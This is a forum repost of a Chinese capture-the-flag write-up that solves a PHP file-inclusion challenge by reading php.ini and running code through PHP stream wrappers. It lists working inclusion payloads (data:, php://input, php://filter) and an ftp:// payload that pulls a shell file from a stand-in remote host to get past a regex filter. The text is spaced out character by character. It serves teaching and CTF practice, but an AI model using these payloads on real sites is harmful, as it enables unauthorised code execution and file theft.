搜索

[21099] 2020-06-22_CTF文件包含与伪协议

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-06-22_CTF文件包含与伪协议 C T F   文 件 包 含 与 伪 协 议 L e m o n S e c   2 0 2 0 - 0 6 - 2 2     正 巧 在 写 代 码 审 计 的 文 章 ， 无 意 间 看 到 了 一 篇 C T F 的 代 码 审 计 ， C T F 题 目 很 好 ， 用 的 姿 势 正 如 标 题 ， 文 件 包 含 和 伪 协 议 。 先 放 出 原 文 链 接 ： h t t p : / / w w w . f r e e b u f . c o m / c o l u m n / 1 5 0 0 2 8 . h t m l         题 目 源 自 国 外 某 挑 战 平 台 ， 平 台 上 还 有 许 多 其 他 有 趣 的 c h a l l e n g e s 题 目 。 站 点 地 址 ： h t t p : / / c h a l l . t a s t e l e s s . e u / 这 次 的 题 目 链 接 ： h t t p : / / l e v e l 3 . t a s t e l e s s . e u /           下 面 就 做 题 吧 。           首 先 看 下 源 码 源 码 给 的 很 直 接 ， 不 像 某 些 C T F 的 比 赛 ， W E B 题 目 都 能 整 成 密 码 题 目 ， 美 名 其 曰 解 密 出 源 码 ， 套 路 很 深 （ 吐 槽 ） 分 析 一 下 上 面 的 代 码 1 ， h i g h l i g h t _ f i l e ( )   函 数 对 i n d e x . p h p 文 件 进 行 语 法 高 亮 显 示 。 2 ， 包 含 了 a n t i _ r f i . p h p ， 并 提 示 不 允 许 进 行 远 程 文 件 包 含 3 ， 使 用 r e q u i r e _ o n e 包 含 了 G E T 请 求 的 f i l e 参 数 。 4 ， 注 释 的 提 示 信 息 ： 要 读 取 P H P . i n i   ， 里 面 有 敏 感 信 息 现 在 思 路 已 经 很 明 确 了 ， 首 先 读 取 p h p . i n i 和 a n t i _ r f i . p h p 首 先 来 看 一 下 p h p . i n i ， 直 接 打 开 链 接 （ h t t p : / / l e v e l 3 . t a s t e l e s s . e u / p h p . i n i ） , c t r l + f   搜 索 a l l o w < ? p h p h i g h l i g h t _ f i l e ( ' i n d e x . p h p ' ) ; / * v i e w   f i l e :   p h p . i n i s o   h e r e   i s   m y   h i n t :   t h e   i n c l u d e d   p h p . i n i   f i l e   i s   p a r t   o f   t h e   c o n f i g u g a r t i o n   f i l e   u s e d   o n   t h e   s e r v e r   t h e   b u g   w a s   f o u n d . s o   t h e r e   w i l l   b e   s o m e t h i n g   i n   i t   w h i c h   e n a b l e s   y o u   t o   s o l v e   t h i s   l e v e l ,   w o n t ? a l w a y s   b e   U P   T O   D A T E ! h i n t   e n o u g h ,   m i g h t   j u s t   t a k e   y o u   s e c o n d s   t o   d o ? ! * / e r r o r _ r e p o r t i n g ( 0 ) ; i n c l u d e ( ' a n t i _ r f i . p h p ' ) ;   / / r f i   i s   f o r b i d d e n ! ! ! ! ! $ i n c   =   @ $ _ G E T [ ' f i l e ' ] ; @ r e q u i r e _ o n c e ( $ i n c ) ; ? >
从 p h p . i n i 中 得 到 了 a l l o w _ u r l _ i n c l u d e 是 o n 的 状 态 ， 所 以 可 以 使 用 P H P 伪 协 议 执 行 代 码 ， 可 以 使 用 p h p : / / i n p u t 的 协 议 ， 成 功 执 行 了 代 码 。 此 时 需 要 获 取 站 点 的 目 录 信 息 ， 由 于 a l l o w _ u r l _ f o p e n 是 为 o f f 的 状 态 所 以 无 法 使 用 远 程 文 件 包 含 执 行 命 令 了 ， 也 就 无 法 直 接 用 菜 刀 去 连 接 并 寻 找 f l a g ，
但 是 已 经 知 道 网 站 的 根 目 录 / v a r / w w w / c h a l l / l e v e l 3 因 为 限 制 了 命 令 执 行 的 函 数 ， 所 以 不 能 够 执 行 系 统 命 令 失 败 ： 失 败 ： 但 是 P H P 的 s c a n d i r ( ) 函 数 会 将 当 先 目 录 下 的 目 录 结 构 以 数 组 的 方 式 保 存 < ? p h p   p r i n t _ r ( s c a n d i r ( ' / v a r / w w w / c h a l l / l e v e l 3 ' ) ) ? > 看 到 了 t h 3 _ f 1 4 g 文 件 ， 直 接 访 问 ： h t t p : / / l e v e l 3 . t a s t e l e s s . e u / t h 3 _ f l 4 g 成 功 得 到 f l a g 题 目 就 这 样 做 完 了 ， 虽 然 题 目 不 是 很 难 ， 但 是 用 到 的 技 巧 很 是 高 妙 。 他 们 的 一 个 总 结 ： 解 题 过 程 大 致 有 如 下 3 步 骤 ： 1 . 分 析 站 点 给 出 的 源 代 码
2 . 判 断 a l l o w _ u r l _ f o p e n ， a l l o w _ u r l _ i n c l u d e 的 开 启 状 态 ， 来 推 测 可 以 使 用 的 伪 协 议 3 . 使 用 相 应 的 伪 协 议 执 行 代 码 获 取 f l a g 当 无 法 判 断 a l l o w _ u r l _ f o p e n ， a l l o w _ u r l _ i n c l u d e 的 开 启 状 态 时 ， 可 逐 一 尝 试 如 下 的 请 求 判 断 哪 些 能 够 执 行 ， 如 果 有 上 传 功 能 那 么 可 能 是 考 p h a r 或 z i p 等 压 缩 流 的 知 识 点 。   P H P   读 文 件 和 代 码 执 行 的 方 式 ： 1 . ? f i l e = d a t a : t e x t / p l a i n , < ? p h p   p h p i n f o ( ) ? > 2 . ? f i l e = d a t a : t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p P z 4 = 3 . ? f i l e = p h p : / / i n p u t   [ P O S T   D A T A : ] < ? p h p   p h p i n f o ( ) ? > 4 . ? f i l e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = x x x . p h p 虽 然 本 题 a l l o w _ u r l _ f o p e n 是 o f f 的 状 态 ， 所 以 是 无 法 使 用 远 程 文 件 包 含 的 ， 如 果 是 O N 的 话 就 需 要 使 用 文 件 包 含 读 取 a n t i _ r f i . p h p 文 件 ， 查 看 文 件 中 的 源 码 了 。   如 , 使 用 h t t p : / / l e v e l 3 . t a s t e l e s s . e u / i n d e x . p h p ? f i l e = p h p : / / i n p u t           < ? p h p   h i g h l i g h t _ f i l e ( ‘ a n t i _ r f i . p h p ’ ) ? > 读 取 a n t i _ r f i . p h p 文 件 的 源 码 信 息 。 从 源 码 中 可 以 看 到 使 用 了 正 则 匹 配 h t t p : / / ,   d a t a   匹 配 到 了 ， 返 回 h a c k e r   d e t e c t e d ， 但 是 并 没 有 匹 配 f t p : / / 所 以 使 用 f t p : / / 也 是 一 个 思 路 。 当 a l l o w _ u r l _ f o p e n = O n 并 且   a l l o w _ u r l _ i n c l u d e = O n 时 ， 就 可 以 使 用 f t p 。 p a y l o a d ： i n d e x . p h p ? f i l e = f t p : / / w w w . s h e l l . c o m / s h e l l . t x t 就 到 这 里 了 ， 任 重 而 道 远 。 转 载 自 ： h t t p s : / / w w w . c n b l o g s . c o m / O r a n 9 e / p / 7 7 9 5 0 5 7 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理